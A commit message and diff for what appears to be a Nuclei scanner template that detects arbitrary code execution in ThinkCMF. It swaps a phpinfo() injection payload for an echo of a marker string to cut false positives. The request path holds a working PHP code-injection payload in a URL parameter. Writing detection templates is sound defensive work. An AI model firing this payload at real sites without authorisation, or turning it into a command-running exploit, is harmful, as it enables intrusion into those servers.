fix: Update the template to avoid false positives

While testing I got a false positive. The `phpinfo();` was one `index.php` and any parameter appended did not affect the output. So I got a false positive because the template tests for `phpinfo();`. So I propose that the test string is updated to something random and if there is execution the string will show on the output.

vulnerabilities/thinkcmf/thinkcmf-arbitrary-code-execution.yaml

@@ -11,16 +11,13 @@ info:
 requests:
   - method: GET
     path:
-      - "{{BaseURL}}/index.php?g=g&m=Door&a=index&content=<?php%20phpinfo();"
+      - "{{BaseURL}}/index.php?g=g&m=Door&a=index&content=<?php%20echo%20'TestVuln';"
 
     matchers-condition: and
     matchers:
       - type: word
         words:
-          - "PHP Extension"
-          - "PHP Version"
-          - "PHP License"
-          - "PHP Variables"
+          - "TestVuln"
         condition: and
 
       - type: status